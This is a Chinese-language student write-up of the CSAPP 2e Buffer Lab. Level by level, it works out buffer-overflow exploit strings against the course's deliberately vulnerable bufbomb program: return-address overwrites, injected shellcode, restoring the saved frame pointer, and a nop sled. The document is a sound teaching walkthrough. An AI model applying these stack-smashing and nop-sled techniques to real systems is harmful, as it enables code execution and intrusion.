CSAPP 2e Buffer Lab 笔记

这个 Lab 训练了进行缓冲区溢出攻击的能力。这个 Lab 有点像 Bomb Lab,但你每次运行所进入的 level 和你输入的数据有关,虽是渐进关系但可以单独挑战,并不是 Bomb Lab 闯关的形式。

使用的是 32 位实验文件,运行在 Ubuntu 22.04 LTS 系统上。实验文件因人而异,下述方法通用,但具体数值是不能通用的。

个人感觉这个 Lab 前四个 Level 比前面的 Data Lab 和 Bomb Lab 更简单,在英语水平尚可的情况下,更建议不参考他人文章,直接尝试阅读 Writeup 做题。 如果你还没有 Writeup,可以在 这里 下载。

前期准备

buflab-writeup.pdf 包含了很多本实验的前置知识,以及每个 Level 的指引,请务必仔细阅读。简要挑几个说一下:

  • 虽然是 32 位文件,但 64 位系统也可以运行。
  • 每次运行 Buffer Bomb,都要带 -u <username> 参数。这个参数会生成对应的 Cookie,进而用于生成不同的答案。也可以使用 makecookie 程序只生成 cookie。此处均以用户名为 cyp0633 为例。
  • 如果(其实是一定)需要输入非标准 ASCII 字符,可以使用 hex2raw,将十六进制 ASCII 码转换为对应的 ASCII 字符。这相当于一个答案的预处理器,将你输入的十六进制文本转换为程序能读取的 raw 二进制格式。

hex2raw 的输入部分由两位十六进制码(不含前面的 0x)和分隔符(空格或换行)组成。支持 C 语言风格注释 /* ... */ 格式(前后需要空格)。换行是一道题中多次输入答案的分隔符,而这个换行只由 0a 表示,不由文本中的换行表示。所以你会看到 Level 4 我敲了那么多行,但实际上只是五次中的一次输入的内容,也就是被 bufbomb 识别为一行,原本的那些换行符全部被忽略了。

如果希望更方便快捷地将输入导入 bufbomb,可以使用 Shell 的 IO 重定向和 pipe 功能,如在将某关答案文件命名为 exploit.txt 的情况下:

bash
1
unix> cat exploit.txt | ./hex2raw | ./bufbomb -u username

如果需要使用 GDB,可以先将 ASCII 转换为 raw text,然后再使用 pipe 设置参数,自动导入 GDB:

bash
1
2
3
4
unix> ./hex2raw <exploit.txt> exploit-raw.txt
unix> gdb bufbomb
(gdb) set args -u username < exploit-raw.txt
(gdb) run

更概括地说,你需要编写的答案形式是使用分隔符分隔的十六进制数组成的文本文档,也就是下面我提供的答案形式;但这样的程序是无法被 bufbomb 识别的,所以需要使用 hex2raw 将其转化成 raw text。它的内容与你写出的答案只有细微差别,但或许不能被普通文本编辑器打开。使用上面提到的 IO 重定向功能将其输入 bufbomb,就可以让程序处理你的答案了。上述提到的第一种方法,是将本段提到的几个步骤合起来执行;而第二种方法就是将步骤拆开执行,以适应 GDB。

贴一张 CSAPP 2e 的栈帧示意图,熟记此图,会很有帮助。也不要忘了,栈向地址减小的方向增长(即栈顶地址小),而代码向高地址方向执行,字符串也向高地址方向存储(首位是地址最低的)。

栈帧

请提前制备 bufbomb 的 objdump 反汇编文件。

下面使用的 GDB 含有 pwndbg 插件,可以提高 GDB 调试的效率。

参考文献:

Level 0: Candle

Level 0 的任务是,在调用 getbuf() 后,不返回到 test(),而进入 smoke() 函数。很显然,这是让我们修改返回地址。

asm
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
08049262 <getbuf>:K
 8049262: 55                    push   %ebp
 8049263: 89 e5                 mov    %esp,%ebp
 8049265: 83 ec 38              sub    $0x38,%esp
 8049268: 8d 45 d8              lea    -0x28(%ebp),%eax
 804926b: 89 04 24              mov    %eax,(%esp)
 804926e: e8 bf f9 ff ff        call   8048c32 <Gets>
 8049273: b8 01 00 00 00        mov    $0x1,%eax
 8049278: c9                    leave  
 8049279: c3                    ret   

阅读 getbuf 的汇编代码,可以发现 Gets 中获取的字符串会被存放在 ebp-0x28 的位置,而我们需要修改的地方就是 ebp+4 处的返回地址。因为 getbuf 并不会检查栈的边界,所以我们可以直接输入长于预期的字符串,把返回地址覆盖掉。再查看 smoke 节的首地址为 0x8048e0a,可以得出输入内容前 (0x28+4) 字节可以为任意不为 0a(回车)的内容,然后接上 0a 8e 04 08**(注意小端序)**。附上本题栈帧图。

Level 0 栈帧

注意:本文中的栈帧都是倒过来的(相比其他博客和 CSAPP 原书)。

然而发现首地址中含有 0a,会被错误转义成回车。我们可以跳过第一个语句,因为这并不影响跳转到验证的步骤,毕竟我们并不需要完整的栈帧就可以直接检验。最后答案为:

asm
1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08

最后一个答案的结尾不需要特意添加 0a,hex2raw 会自动在结尾添加一个。成功后提示 “Type string:Smoke !:You called smoke() VALID NICE JOB!”。

Level 1: Sparkler

这个 Level 和 Level 0 有一定相似度,目标都是阻止 getbuf 返回到 test,但这次需要跳转到 fizz,还需要将 Cookie 作为参数传入。

注意到 advice:程序并不会真的调用 fizz,而只是运行它的代码。这意味着不会有栈帧切换,也就决定了参数的放置位置。

查看反汇编代码,发现 fizz 的首地址为 0x08048daf,它就是我们需要的返回地址。像上题一样,前 44 个字节填入任意字符,然后 45~48 字节填入返回地址。但是,Cookie 填到哪里呢?这需要我们看 fizz 的汇编代码。

asm
1
2
3
4
5
6
08048daf <fizz>:
 8048daf: 55                    push   %ebp
 8048db0: 89 e5                 mov    %esp,%ebp
 8048db2: 83 ec 18              sub    $0x18,%esp
 8048db5: 8b 45 08              mov    0x8(%ebp),%eax
 8048db8: 3b 05 04 d1 04 08     cmp    0x804d104,%eax

这是栈帧示意图。

Level 1 栈帧

这是它的前面一部分,0x8048db5 处显示,参数处于 ebp+8 的位置。比对 writeup 文档的函数原型,这就是它的唯一一个参数,也就是 Cookie。刚刚填入返回地址之后,已经修改了 ebp+4ebp+7 的内容,那么 ebp+8ebp+7 可以填入任意内容,再往 ebp+8 处填入你的 Cookie(仍然注意端序)。最终答案如下:

asm
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08
/* fizz address: 0x08048daf */
00 00 00 00
3c 3d 31 1b
/* cookie: 0x1b313d3c */

成功解除后,会提示 “Type string:Fizz !: You called fizz(0x1b313d3c) VALID NICE JOB!”。

Level 2: Firecracker

有一种更加复杂的缓冲区攻击,涉及到输入编码了机器指令的字符串。这个字符串会 用堆栈上指令的起始地址覆盖返回地址,当函数执行 ret 时,程序会开始 执行栈上的指令(会先跳转过去),而不是返回(到原本的地址)。这种形式的攻击可以让程序几乎能做任何事情。你放置在栈上的代码叫做漏洞利用代码。但是,这种攻击方式是很棘手的,因为你必须把机器码放到栈上,还得把返回地址指向代码段头部。

Writeup(经本人翻译)

不愧是 Writeup,题面放第二段去了,而第一段上来就把思路和主要困难说明白了。

这道题要求我们将 bang 函数中一个名为 global_value 的变量设为 cookie,然后跳转到 bang 中执行。这看起来就是个全局变量,看一眼汇编代码,很容易搞到 global_value 的地址 0x804d10c,bang 的首地址是 0x8048d52,如果想确认也可以用 GDB 打一下。

有了上面的思路,大体的就明白了:将 return address 替换为输入的字符串中指令的开始地址,然后让其将 Cookie MOV 到 global_value 的地址中,再然后跳转到 bang 的首地址中。但是,writeup 最后还给了我们一些提示:

  • 可以先写汇编,用 GCC 编译,然后再反汇编,来得到指令对应的机器码。
  • 字符串与机器、编译器,以及 Cookie 相关。可能在提醒我们 64 位机器编译时要加 -m32
  • 注意汇编的寻址模式。主要是立即数(带 $)和地址的区别。
  • 最重要的,不要使用 jmpcall 这两种程序计数器相关的指令进入 bang,应该将 bang 首地址入栈,然后使用 ret

附上栈帧结构:

Level 2 栈帧

有了这些,我们就可以开始写汇编代码了,很简单的三行(注意扩展名. s):

asm
1
2
3
4
// firecracker.s
movl $0x1b313d3c, 0x804d10c // write cookie into global_value
pushl $0x8048d52 // push bang into stack
ret // enter bang

然后使用命令

bash
1
2
unix> gcc -m32 -c firecracker.s
unix> objdump -d firecracker.o > firecracker_disasm.txt

就可以得到指令的十六进制表示了。

接下来需要得到指令的起始地址,如果直接将指令放进漏洞利用字符串的开头的话,那它就是字符串的首地址。分析 getbuf 的反汇编代码得,它位于 ebp-0x28,那么直接在内部任一点打一个断点,然后打出 ebp 即可计算出起始地址 0x55683cc8。

我们需要的字符串仍然是和前两个 Level 有些相似的,都是 45-48 字节放置返回地址,但前几个字节需要放置指令了。最终的字符串如下所示:

asm
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
c7 05 0c d1 04 08 3c /* movl $0x1b313d3c,0x804d10c */
3d 31 1b
68 52 8d 04 08 /* push $0x8048d52 */
c3 /* ret */
/* end of assembly, 16 bytes in total */
00 00 00 00 00 00 00
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 /* 7*4=28 random bytes */
c8 3c 68 55 /* return address 0x55683cc8 */

当然,这样就通过了。

pass

Level 3: Dynamite

我们之前的攻击都让程序跳转到其他函数的代码,然后程序就会退出。所以,我们可以使用会破坏栈结构的漏洞利用代码,从而覆盖保存的数值。

最复杂的缓冲区溢出攻击让程序执行一些改变寄存器 / 内存内容的代码,但程序会 返回到本来的调用者函数。调用者对攻击一无所知。但这种攻击也很复杂,因为你需要:1)把机器码放到栈上,2)把返回地址设置到这段代码开头,3)恢复被破坏的栈结构。

Writeup(经本人翻译)

这个 Level 比上个 Level 难一些,但如果 GDB 用得比较好,可以通过调试来窥探题目的奥秘。题目的任务就是把返回值修改为 Cookie,但还要让 getbuf 正常返回到 test。成功后会输出一个 Boom。

其实程序的部分跟 Level 2 没有太大的区别,将 Cookie 写入 eax(存放返回值)、将 test 返回地址入栈,然后返回。返回地址可以翻汇编代码,就是调用语句的下一句。汇编代码如下:

asm
1
2
3
movl $0x1b313d3c, %eax # set cookie as return value
push $0x08048e50 # original test return address
ret # return to test

我们可以先不恢复栈结构,直接跳回去,看看会发生什么。依照上题的方法,得出输入文件:

asm
1
2
3
4
5
6
7
8
b8 3c 3d 31 1b /* mov $0x1b313d3c, %eax */
68 50 8e 04 08 /* push $0x8048e50 */
c3 /* ret */
/* end of assembly, 11 bytes in total */
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 /* 11*3=33 random bytes */
c8 3c 68 55 /* return address 0x55683cc8 */

将其通过 hex2raw 转换,然后输入 bufbomb。既然知道会崩掉,那就在 0x8048e50 打个断点,运行一下。

发现 ebp 变成了 0,esp 的值也不怎么对劲。查阅栈帧结构图,发现旧 ebp 会在 getbuf 中被压栈到新的 ebp 处,它在我们输入的数据中对应的是 41~44 字节。本题的重点就在于恢复旧 ebp。

Level 3 栈帧

使用 GDB 在 getbuf 中打断点停止,然后执行 x/wx $ebp,可以读取到它的值 0x55683d20。

依此修改输入文件:

asm
1
2
3
4
5
6
7
8
9
b8 3c 3d 31 1b /* mov $0x1b313d3c, %eax */
68 50 8e 04 08 /* push $0x8048e50 */
c3 /* ret */
/* end of assembly, 11 bytes in total */
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 /* 11*3-4=29 random bytes */
20 3d 68 55 /* old ebp 0x55683d20 */
c8 3c 68 55 /* return address 0x55683cc8 */

不出意外地通过了。

你可能有这样的疑问:答案能不能再长些?很容易能想到,如果输入覆盖的范围超过了返回地址,就可能会侵入上一个栈帧的空间而破坏其内容,所以答案可不可以再长些,取决于上一个栈帧的结构能不能被破坏。对于前三个 Level,这种行为理论上是可以接受的;而对于 Level 3&4,上一栈帧的结构需要完整保持,所以答案不能再长了。

Level 3 pass

Level 4: Nitroglycerin

前面几个 level 差不多就是热身水平,到了这里才是对栈帧结构和程序调试技术的一个综合考察。本 level 需要使用 -n 参数运行 bufbomb。

每一次运行,尤其是由不同的用户运行,某个过程使用的确切栈空间会有所不同。一个原因是,每次运行时,所有环境变量的值都会被放在栈的底部。环境变量以字符串的形式存储,占用的空间根据值的不同而不同。所以,对某个用户来说,分配的栈空间由用户设置的环境变量有关。在使用 GDB 运行程序时,栈的位置也会不同,因为 GDB 使用栈空间来存储它的一些状态。

在调用 getbuf 的代码中,我们使用了一些稳定栈位置的特性,所以每次运行的时候 getbuf 的栈帧都不会变。这样你就可以在已知 buf 的起始地址的情况下,写出漏洞利用字符串。如果你在一个普通程序中尝试使用这种方法,你会发现它有时候管用,有时候又会引发段错误。所以我们起了 “火药”(dynamite,Level 3 代号)这个名字——一种诺贝尔研制的炸药,含有稳定元素,以防意外爆炸。

这次我们反着来,让栈的位置比原先还要不稳定。所以它有了 “硝酸甘油” 这个名字——一种十分不稳定的炸药。

Writeup(经本人翻译)

这个 Level 的核心目标和 Level 3 差不多,都是把返回值设为 Cookie。只不过,这次要调用 5 次 getbufn,相应的把答案也重复 5 次,缓冲区长度变成了 512 字节(虽然我们肯定要输得比这个长,毕竟要改变 “不该改变的” 区域),而 getbufn 的栈地址变动可能高达 240 字节。每次都必须稳定地返回 Cookie 到 testn 函数。

考虑到跳转地址是固定的,而栈的位置变动却很大,如果每次根据固定的地址跳跃,如果没有正好跳转到我们注入的代码开头,就可能造成不可预料的结果。所以如何保证在落点的相对位置变动很大的情况下,最后还是能稳定地执行注入代码,就成为了本题最重要的部分。

提示:

  • 在 hex2raw 后面加 -n 参数可以将答案复制 n 份输出。即使不用,5 份答案也必须相同。
  • 善用 nop 指令能够帮助解题。可以阅读 CSAPP 2e P262(中文版 P180 中部)的 “nop sled” 部分。

所谓的 nop sled,简单来说,就是通过在代码中添加一大堆 nop 指令,不管绝对地址跳到哪个位置,也不会执行什么奇怪的操作,而是最终都要一个一个执行 nop,直到真正的漏洞利用代码的位置。

整体结构

有了这个认识,我们就能基本推断出输入字符串的结构:对应原返回地址处是新返回地址,它紧接着真正有用的注入代码之后,前面剩下的空间,就全都用 nop 填充。随手画一张图,展示注入过代码的 getbufn 每次执行时跳转的过程,或许能帮助你明白:

stack

图中不同位置的条代表每次执行位置不同的 getbufnret 指令从每次不同的逻辑地址取出返回地址,但每次都跳转到固定的跳转地址。如果这个区域内都是 nop,那么跳转之后就相当于 “落下来”,在运行注入代码之前什么都没干。

接下来将会根据输入字符串的结构,分别解释得出的方法。

核心代码

首先我们要解决的是恢复 testn 的栈结构,也就是原 ebp。看一眼 testn 的汇编代码。

asm
1
2
3
4
5
08048cce <testn>:
 8048cce: 55                    push   %ebp
 8048ccf: 89 e5                 mov    %esp,%ebp
 8048cd1: 53                    push   %ebx
 8048cd2: 83 ec 24              sub    $0x24,%esp

因为中间将 ebx 暂存,esp 又减了 4,所以原 ebp 在 esp+0x28 处。我们使用一个 lea 指令将其恢复。

asm
1
leal 0x28(%esp), %ebp # restore ebp register

然后是本题的核心目标,让 getbufn 返回 Cookie,就是把 eax 设为 Cookie。这个和之前没什么区别。

asm
1
movl $0x1b313d3c, %eax # set cookie as return value

最后就是将返回地址入栈,然后返回,跟 Level 3 同理。

asm
1
2
push $0x8048ce2 # original testn return address
ret

完整的汇编代码就不放了,反正也没几句。这些语句的顺序并不是自由的,此处将 movl 句放到 leal 之前,就会导致指令读取错误(将几个 nop + 一个 leal 读取成一个 addb 和一个 xorl),进而引发段错误,目前不知道是什么原理。如果有读者知道是什么原因,烦请赐教。

返回地址

因为栈的位置有很大的随机性,而输入内容的 nop 部分是有边界的,所以我们需要确定一个大概的跳转地址边界,确保每次都能够跳入 nop 范围。我们可以多次使用 gdb 调试 i,在 getbufn 处打断点并运行,每次取 ebp 的值并统计最大值,借此得到 buf 数组起始地址大概最大值,也就是跳转地址的大概最大值;由 ebp 的值又可以取到最小值,估计出 nop 区域结束地址的大概最小值,也就是跳转地址的大概最小值。反正缓冲区 500 多个字节,栈位置的变动最多才 240 字节,随便在中间选个值就好。

可以结合上面的图来理解:跳转地址的范围是第二个栈帧 nop 上界和第三个栈帧 exploit 上界之间的范围。

asm
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
08049244 <getbufn>:
 8049244: 55                    push   %ebp
 8049245: 89 e5                 mov    %esp,%ebp
 8049247: 81 ec 18 02 00 00     sub    $0x218,%esp
 804924d: 8d 85 f8 fd ff ff     lea    -0x208(%ebp),%eax
 8049253: 89 04 24              mov    %eax,(%esp)
 8049256: e8 d7 f9 ff ff        call   8048c32 <Gets>
 804925b: b8 01 00 00 00        mov    $0x1,%eax
 8049260: c9                    leave  
 8049261: c3                    ret    

根据上述 getbufn 的反汇编代码,buf 数组的起始地址是 ebp-0x208,也就是 nop 区域的上界。

随意调试运行,得到几个 ebp 的值为 0x55683cf0、0x55683d50、0x55683cd0、0x55683d00、0x55683ce0、0x55683cf0、0x55683d50、0x55683cd0、0x55683d00、0x55683ce0,其中最小值为 0x55683cd0,最大值为 0x55683d50。推算出跳转地址最小值大约是 0x55683b48,保守起见将返回地址 + 20,设为 0x55683b5c。

Nop Sled

nop 部分 + 核心代码部分需要将返回地址部分 “撑” 到 ebp+4 开始(含)4 个字节处,则这两部分加起来的长度为 0x208+8=528 字节。前面核心代码的二进制表示占据了 15 字节,所以需要填充 509 字节 nop(也就是 90)。

把这三块连起来,输入的文本数据就很容易得到了(此处建议关闭折行显示,更美观):

asm
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
/* nop area, 509 bytes in total */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
/* core assembly area, 15 bytes in total */
8d 6c 24 28 /* lea 0x28(%esp),%ebp */
b8 3c 3d 31 1b /* mov $0x1b313d3c,%eax */
68 e2 8c 04 08 /* push $0x8048ce2 */
c3 /* ret */
/* return address 0x55683b5c, 4 bytes in total */
5c 3b 68 55

其他值得注意的事情

上面所说的都是每一次调用 getbufn 所输入的内容,而一共要输入五次,可以使用 hex2raw-n 参数指定输出答案的重复次数。hex2raw 会在每次重复的答案最后自动添加换行分隔符 0a。

好在经过这一番折腾,Lab 4 终于也完成了。

complete